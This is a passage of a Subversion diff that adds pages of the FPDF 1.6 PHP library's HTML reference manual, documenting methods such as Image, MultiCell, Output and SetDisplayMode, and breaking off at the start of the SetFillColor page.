===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/gety.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/gety.htm	(revision 44)
@@ -0,0 +1,20 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>GetY</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>GetY</h1>
+<code><b>float</b> GetY()</code>
+<h2>Description</h2>
+Returns the ordinate of the current position.
+<h2>See also</h2>
+<a href="sety.htm">SetY()</a>,
+<a href="getx.htm">GetX()</a>,
+<a href="setx.htm">SetX()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/header.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/header.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/header.htm	(revision 44)
@@ -0,0 +1,37 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Header</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Header</h1>
+<code>Header()</code>
+<h2>Description</h2>
+This method is used to render the page header. It is automatically called by AddPage() and
+should not be called directly by the application. The implementation in FPDF is empty, so
+you have to subclass it and override the method if you want a specific processing.
+<h2>Example</h2>
+<div class="doc-source">
+<pre><code>class PDF extends FPDF
+{
+function Header()
+{
+    //Select Arial bold 15
+    $this-&gt;SetFont('Arial','B',15);
+    //Move to the right
+    $this-&gt;Cell(80);
+    //Framed title
+    $this-&gt;Cell(30,10,'Title',1,0,'C');
+    //Line break
+    $this-&gt;Ln(20);
+}
+}</code></pre>
+</div>
+<h2>See also</h2>
+<a href="footer.htm">Footer()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/image.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/image.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/image.htm	(revision 44)
@@ -0,0 +1,86 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Image</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Image</h1>
+<code>Image(<b>string</b> file [, <b>float</b> x [, <b>float</b> y [, <b>float</b> w [, <b>float</b> h [, <b>string</b> type [, <b>mixed</b> link]]]]]])</code>
+<h2>Description</h2>
+Puts an image. The size it will take on the page can be specified in different ways:
+<ul>
+<li>explicit width and height (expressed in user unit)</li>
+<li>one explicit dimension, the other being calculated automatically in order to keep the original proportions</li>
+<li>no explicit dimension, in which case the image is put at 72 dpi</li>
+</ul>
+Supported formats are JPEG, PNG and GIF. The GD extension is required for GIF.
+<br>
+<br>
+For JPEGs, all flavors are allowed:
+<ul>
+<li>gray scales</li>
+<li>true colors (24 bits)</li>
+<li>CMYK (32 bits)</li>
+</ul>
+For PNGs, are allowed:
+<ul>
+<li>gray scales on at most 8 bits (256 levels)</li>
+<li>indexed colors</li>
+<li>true colors (24 bits)</li>
+</ul>
+but are not supported:
+<ul>
+<li>Interlacing</li>
+<li>Alpha channel</li>
+</ul>
+For GIFs: in case of an animated GIF, only the first frame is used.<br>
+<br>
+If a transparent color is defined, it is taken into account.<br>
+<br>
+The format can be specified explicitly or inferred from the file extension.<br>
+It is possible to put a link on the image.<br>
+<br>
+Remark: if an image is used several times, only one copy is embedded in the file.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>file</code></dt>
+<dd>
+Path or URL of the image.
+</dd>
+<dt><code>x</code></dt>
+<dd>
+Abscissa of the upper-left corner. If not specified or equal to <code>null</code>, the current abscissa
+is used.
+</dd>
+<dt><code>y</code></dt>
+<dd>
+Ordinate of the upper-left corner. If not specified or equal to <code>null</code>, the current ordinate
+is used; moreover, a page break is triggered first if necessary (in case automatic page breaking is enabled)
+and, after the call, the current ordinate is moved to the bottom of the image.
+</dd>
+<dt><code>w</code></dt>
+<dd>
+Width of the image in the page. If not specified or equal to zero, it is automatically calculated.
+</dd>
+<dt><code>h</code></dt>
+<dd>
+Height of the image in the page. If not specified or equal to zero, it is automatically calculated.
+</dd>
+<dt><code>type</code></dt>
+<dd>
+Image format. Possible values are (case insensitive): <code>JPG</code>, <code>JPEG</code>, <code>PNG</code> and <code>GIF</code>.
+If not specified, the type is inferred from the file extension.
+</dd>
+<dt><code>link</code></dt>
+<dd>
+URL or identifier returned by AddLink().
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="addlink.htm">AddLink()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/index.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/index.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/index.htm	(revision 44)
@@ -0,0 +1,57 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>FPDF 1.6 Reference Manual</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>FPDF 1.6 Reference Manual</h1>
+<a href="acceptpagebreak.htm">AcceptPageBreak</a> - accept or not automatic page break<br>
+<a href="addfont.htm">AddFont</a> - add a new font<br>
+<a href="addlink.htm">AddLink</a> - create an internal link<br>
+<a href="addpage.htm">AddPage</a> - add a new page<br>
+<a href="aliasnbpages.htm">AliasNbPages</a> - define an alias for number of pages<br>
+<a href="cell.htm">Cell</a> - print a cell<br>
+<a href="close.htm">Close</a> - terminate the document<br>
+<a href="error.htm">Error</a> - fatal error<br>
+<a href="footer.htm">Footer</a> - page footer<br>
+<a href="fpdf.htm">FPDF</a> - constructor<br>
+<a href="getstringwidth.htm">GetStringWidth</a> - compute string length<br>
+<a href="getx.htm">GetX</a> - get current x position<br>
+<a href="gety.htm">GetY</a> - get current y position<br>
+<a href="header.htm">Header</a> - page header<br>
+<a href="image.htm">Image</a> - output an image<br>
+<a href="line.htm">Line</a> - draw a line<br>
+<a href="link.htm">Link</a> - put a link<br>
+<a href="ln.htm">Ln</a> - line break<br>
+<a href="multicell.htm">MultiCell</a> - print text with line breaks<br>
+<a href="output.htm">Output</a> - save or send the document<br>
+<a href="pageno.htm">PageNo</a> - page number<br>
+<a href="rect.htm">Rect</a> - draw a rectangle<br>
+<a href="setauthor.htm">SetAuthor</a> - set the document author<br>
+<a href="setautopagebreak.htm">SetAutoPageBreak</a> - set the automatic page breaking mode<br>
+<a href="setcompression.htm">SetCompression</a> - turn compression on or off<br>
+<a href="setcreator.htm">SetCreator</a> - set document creator<br>
+<a href="setdisplaymode.htm">SetDisplayMode</a> - set display mode<br>
+<a href="setdrawcolor.htm">SetDrawColor</a> - set drawing color<br>
+<a href="setfillcolor.htm">SetFillColor</a> - set filling color<br>
+<a href="setfont.htm">SetFont</a> - set font<br>
+<a href="setfontsize.htm">SetFontSize</a> - set font size<br>
+<a href="setkeywords.htm">SetKeywords</a> - associate keywords with document<br>
+<a href="setleftmargin.htm">SetLeftMargin</a> - set left margin<br>
+<a href="setlinewidth.htm">SetLineWidth</a> - set line width<br>
+<a href="setlink.htm">SetLink</a> - set internal link destination<br>
+<a href="setmargins.htm">SetMargins</a> - set margins<br>
+<a href="setrightmargin.htm">SetRightMargin</a> - set right margin<br>
+<a href="setsubject.htm">SetSubject</a> - set document subject<br>
+<a href="settextcolor.htm">SetTextColor</a> - set text color<br>
+<a href="settitle.htm">SetTitle</a> - set document title<br>
+<a href="settopmargin.htm">SetTopMargin</a> - set top margin<br>
+<a href="setx.htm">SetX</a> - set current x position<br>
+<a href="setxy.htm">SetXY</a> - set current x and y positions<br>
+<a href="sety.htm">SetY</a> - set current y position<br>
+<a href="text.htm">Text</a> - print a string<br>
+<a href="write.htm">Write</a> - print flowing text<br>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/line.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/line.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/line.htm	(revision 44)
@@ -0,0 +1,38 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Line</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Line</h1>
+<code>Line(<b>float</b> x1, <b>float</b> y1, <b>float</b> x2, <b>float</b> y2)</code>
+<h2>Description</h2>
+Draws a line between two points.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>x1</code></dt>
+<dd>
+Abscissa of first point.
+</dd>
+<dt><code>y1</code></dt>
+<dd>
+Ordinate of first point.
+</dd>
+<dt><code>x2</code></dt>
+<dd>
+Abscissa of second point.
+</dd>
+<dt><code>y2</code></dt>
+<dd>
+Ordinate of second point.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setlinewidth.htm">SetLineWidth()</a>,
+<a href="setdrawcolor.htm">SetDrawColor()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/link.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/link.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/link.htm	(revision 44)
@@ -0,0 +1,46 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Link</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Link</h1>
+<code>Link(<b>float</b> x, <b>float</b> y, <b>float</b> w, <b>float</b> h, <b>mixed</b> link)</code>
+<h2>Description</h2>
+Puts a link on a rectangular area of the page. Text or image links are generally put via Cell(),
+Write() or Image(), but this method can be useful for instance to define a clickable area inside
+an image.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>x</code></dt>
+<dd>
+Abscissa of the upper-left corner of the rectangle.
+</dd>
+<dt><code>y</code></dt>
+<dd>
+Ordinate of the upper-left corner of the rectangle.
+</dd>
+<dt><code>w</code></dt>
+<dd>
+Width of the rectangle.
+</dd>
+<dt><code>h</code></dt>
+<dd>
+Height of the rectangle.
+</dd>
+<dt><code>link</code></dt>
+<dd>
+URL or identifier returned by AddLink().
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="addlink.htm">AddLink()</a>,
+<a href="cell.htm">Cell()</a>,
+<a href="write.htm">Write()</a>,
+<a href="image.htm">Image()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/ln.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/ln.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/ln.htm	(revision 44)
@@ -0,0 +1,28 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Ln</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Ln</h1>
+<code>Ln([<b>float</b> h])</code>
+<h2>Description</h2>
+Performs a line break. The current abscissa goes back to the left margin and the ordinate
+increases by the amount passed in parameter.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>h</code></dt>
+<dd>
+The height of the break.
+<br>
+By default, the value equals the height of the last printed cell.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="cell.htm">Cell()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/multicell.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/multicell.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/multicell.htm	(revision 44)
@@ -0,0 +1,76 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>MultiCell</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>MultiCell</h1>
+<code>MultiCell(<b>float</b> w, <b>float</b> h, <b>string</b> txt [, <b>mixed</b> border [, <b>string</b> align [, <b>boolean</b> fill]]])</code>
+<h2>Description</h2>
+This method allows printing text with line breaks. They can be automatic (as soon as the
+text reaches the right border of the cell) or explicit (via the \n character). As many cells
+as necessary are output, one below the other.
+<br>
+Text can be aligned, centered or justified. The cell block can be framed and the background
+painted.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>w</code></dt>
+<dd>
+Width of cells. If <code>0</code>, they extend up to the right margin of the page.
+</dd>
+<dt><code>h</code></dt>
+<dd>
+Height of cells.
+</dd>
+<dt><code>txt</code></dt>
+<dd>
+String to print.
+</dd>
+<dt><code>border</code></dt>
+<dd>
+Indicates if borders must be drawn around the cell block. The value can be either a number:
+<ul>
+<li><code>0</code>: no border</li>
+<li><code>1</code>: frame</li>
+</ul>
+or a string containing some or all of the following characters (in any order):
+<ul>
+<li><code>L</code>: left</li>
+<li><code>T</code>: top</li>
+<li><code>R</code>: right</li>
+<li><code>B</code>: bottom</li>
+</ul>
+Default value: <code>0</code>.
+</dd>
+<dt><code>align</code></dt>
+<dd>
+Sets the text alignment. Possible values are:
+<ul>
+<li><code>L</code>: left alignment</li>
+<li><code>C</code>: center</li>
+<li><code>R</code>: right alignment</li>
+<li><code>J</code>: justification (default value)</li>
+</ul>
+</dd>
+<dt><code>fill</code></dt>
+<dd>
+Indicates if the cell background must be painted (<code>true</code>) or transparent (<code>false</code>).
+Default value: <code>false</code>.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setfont.htm">SetFont()</a>,
+<a href="setdrawcolor.htm">SetDrawColor()</a>,
+<a href="setfillcolor.htm">SetFillColor()</a>,
+<a href="settextcolor.htm">SetTextColor()</a>,
+<a href="setlinewidth.htm">SetLineWidth()</a>,
+<a href="cell.htm">Cell()</a>,
+<a href="write.htm">Write()</a>,
+<a href="setautopagebreak.htm">SetAutoPageBreak()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/output.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/output.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/output.htm	(revision 44)
@@ -0,0 +1,42 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Output</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Output</h1>
+<code><b>string</b> Output([<b>string</b> name, <b>string</b> dest])</code>
+<h2>Description</h2>
+Send the document to a given destination: browser, file or string. In the case of browser, the
+plug-in may be used (if present) or a download ("Save as" dialog box) may be forced.
+<br>
+The method first calls Close() if necessary to terminate the document.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>name</code></dt>
+<dd>
+The name of the file. If not specified, the document will be sent to the browser
+(destination <code>I</code>) with the name <code>doc.pdf</code>.
+</dd>
+<dt><code>dest</code></dt>
+<dd>
+Destination where to send the document. It can take one of the following values:
+<ul>
+<li><code>I</code>: send the file inline to the browser. The plug-in is used if available.
+The name given by <code>name</code> is used when one selects the "Save as" option on the
+link generating the PDF.</li>
+<li><code>D</code>: send to the browser and force a file download with the name given by
+<code>name</code>.</li>
+<li><code>F</code>: save to a local file with the name given by <code>name</code> (may include a path).</li>
+<li><code>S</code>: return the document as a string. <code>name</code> is ignored.</li>
+</ul>
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="close.htm">Close()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/pageno.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/pageno.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/pageno.htm	(revision 44)
@@ -0,0 +1,18 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>PageNo</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>PageNo</h1>
+<code><b>int</b> PageNo()</code>
+<h2>Description</h2>
+Returns the current page number.
+<h2>See also</h2>
+<a href="aliasnbpages.htm">AliasNbPages()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/rect.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/rect.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/rect.htm	(revision 44)
@@ -0,0 +1,48 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Rect</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Rect</h1>
+<code>Rect(<b>float</b> x, <b>float</b> y, <b>float</b> w, <b>float</b> h [, <b>string</b> style])</code>
+<h2>Description</h2>
+Outputs a rectangle. It can be drawn (border only), filled (with no border) or both.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>x</code></dt>
+<dd>
+Abscissa of upper-left corner.
+</dd>
+<dt><code>y</code></dt>
+<dd>
+Ordinate of upper-left corner.
+</dd>
+<dt><code>w</code></dt>
+<dd>
+Width.
+</dd>
+<dt><code>h</code></dt>
+<dd>
+Height.
+</dd>
+<dt><code>style</code></dt>
+<dd>
+Style of rendering. Possible values are:
+<ul>
+<li><code>D</code> or empty string: draw. This is the default value.</li>
+<li><code>F</code>: fill</li>
+<li><code>DF</code> or <code>FD</code>: draw and fill</li>
+</ul>
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setlinewidth.htm">SetLineWidth()</a>,
+<a href="setdrawcolor.htm">SetDrawColor()</a>,
+<a href="setfillcolor.htm">SetFillColor()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setauthor.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setauthor.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setauthor.htm	(revision 44)
@@ -0,0 +1,33 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetAuthor</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetAuthor</h1>
+<code>SetAuthor(<b>string</b> author [, <b>boolean</b> isUTF8])</code>
+<h2>Description</h2>
+Defines the author of the document.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>author</code></dt>
+<dd>
+The name of the author.
+</dd>
+<dt><code>isUTF8</code></dt>
+<dd>
+Indicates if the string is encoded in ISO-8859-1 (<code>false</code>) or UTF-8 (<code>true</code>).<br>
+Default value: <code>false</code>.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setcreator.htm">SetCreator()</a>,
+<a href="setkeywords.htm">SetKeywords()</a>,
+<a href="setsubject.htm">SetSubject()</a>,
+<a href="settitle.htm">SetTitle()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setautopagebreak.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setautopagebreak.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setautopagebreak.htm	(revision 44)
@@ -0,0 +1,33 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetAutoPageBreak</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetAutoPageBreak</h1>
+<code>SetAutoPageBreak(<b>boolean</b> auto [, <b>float</b> margin])</code>
+<h2>Description</h2>
+Enables or disables the automatic page breaking mode. When enabling, the second parameter is
+the distance from the bottom of the page that defines the triggering limit. By default, the
+mode is on and the margin is 2 cm.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>auto</code></dt>
+<dd>
+Boolean indicating if mode should be on or off.
+</dd>
+<dt><code>margin</code></dt>
+<dd>
+Distance from the bottom of the page.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="cell.htm">Cell()</a>,
+<a href="multicell.htm">MultiCell()</a>,
+<a href="acceptpagebreak.htm">AcceptPageBreak()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setcompression.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setcompression.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setcompression.htm	(revision 44)
@@ -0,0 +1,31 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetCompression</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetCompression</h1>
+<code>SetCompression(<b>boolean</b> compress)</code>
+<h2>Description</h2>
+Activates or deactivates page compression. When activated, the internal representation of
+each page is compressed, which leads to a compression ratio of about 2 for the resulting
+document.
+<br>
+Compression is on by default.
+<br>
+<br>
+<strong>Note:</strong> the Zlib extension is required for this feature. If not present, compression
+will be turned off.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>compress</code></dt>
+<dd>
+Boolean indicating if compression must be enabled.
+</dd>
+</dl>
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setcreator.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setcreator.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setcreator.htm	(revision 44)
@@ -0,0 +1,34 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetCreator</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetCreator</h1>
+<code>SetCreator(<b>string</b> creator [, <b>boolean</b> isUTF8])</code>
+<h2>Description</h2>
+Defines the creator of the document. This is typically the name of the application that
+generates the PDF.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>creator</code></dt>
+<dd>
+The name of the creator.
+</dd>
+<dt><code>isUTF8</code></dt>
+<dd>
+Indicates if the string is encoded in ISO-8859-1 (<code>false</code>) or UTF-8 (<code>true</code>).<br>
+Default value: <code>false</code>.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setauthor.htm">SetAuthor()</a>,
+<a href="setkeywords.htm">SetKeywords()</a>,
+<a href="setsubject.htm">SetSubject()</a>,
+<a href="settitle.htm">SetTitle()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setdisplaymode.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setdisplaymode.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setdisplaymode.htm	(revision 44)
@@ -0,0 +1,47 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetDisplayMode</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetDisplayMode</h1>
+<code>SetDisplayMode(<b>mixed</b> zoom [, <b>string</b> layout])</code>
+<h2>Description</h2>
+Defines the way the document is to be displayed by the viewer. The zoom level can be set: pages can be
+displayed entirely on screen, occupy the full width of the window, use real size, be scaled by a
+specific zooming factor or use viewer default (configured in the Preferences menu of Acrobat).
+The page layout can be specified too: single at once, continuous display, two columns or viewer
+default.
+<br>
+By default, documents use the full width mode with continuous display.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>zoom</code></dt>
+<dd>
+The zoom to use. It can be one of the following string values:
+<ul>
+<li><code>fullpage</code>: displays the entire page on screen</li>
+<li><code>fullwidth</code>: uses maximum width of window</li>
+<li><code>real</code>: uses real size (equivalent to 100% zoom)</li>
+<li><code>default</code>: uses viewer default mode</li>
+</ul>
+or a number indicating the zooming factor to use.
+</dd>
+<dt><code>layout</code></dt>
+<dd>
+The page layout. Possible values are:
+<ul>
+<li><code>single</code>: displays one page at once</li>
+<li><code>continuous</code>: displays pages continuously</li>
+<li><code>two</code>: displays two pages on two columns</li>
+<li><code>default</code>: uses viewer default mode</li>
+</ul>
+Default value is <code>continuous</code>.
+</dd>
+</dl>
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setdrawcolor.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setdrawcolor.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setdrawcolor.htm	(revision 44)
@@ -0,0 +1,41 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetDrawColor</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetDrawColor</h1>
+<code>SetDrawColor(<b>int</b> r [, <b>int</b> g, <b>int</b> b])</code>
+<h2>Description</h2>
+Defines the color used for all drawing operations (lines, rectangles and cell borders). It
+can be expressed in RGB components or gray scale. The method can be called before the first
+page is created and the value is retained from page to page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>r</code></dt>
+<dd>
+If <code>g</code> et <code>b</code> are given, red component; if not, indicates the gray level.
+Value between 0 and 255.
+</dd>
+<dt><code>g</code></dt>
+<dd>
+Green component (between 0 and 255).
+</dd>
+<dt><code>b</code></dt>
+<dd>
+Blue component (between 0 and 255).
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setfillcolor.htm">SetFillColor()</a>,
+<a href="settextcolor.htm">SetTextColor()</a>,
+<a href="line.htm">Line()</a>,
+<a href="rect.htm">Rect()</a>,
+<a href="cell.htm">Cell()</a>,
+<a href="multicell.htm">MultiCell()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfillcolor.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfillcolor.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfillcolor.htm	(revision 44)
@@ -0,0 +1,40 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetFillColor</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetFillColor</h1>
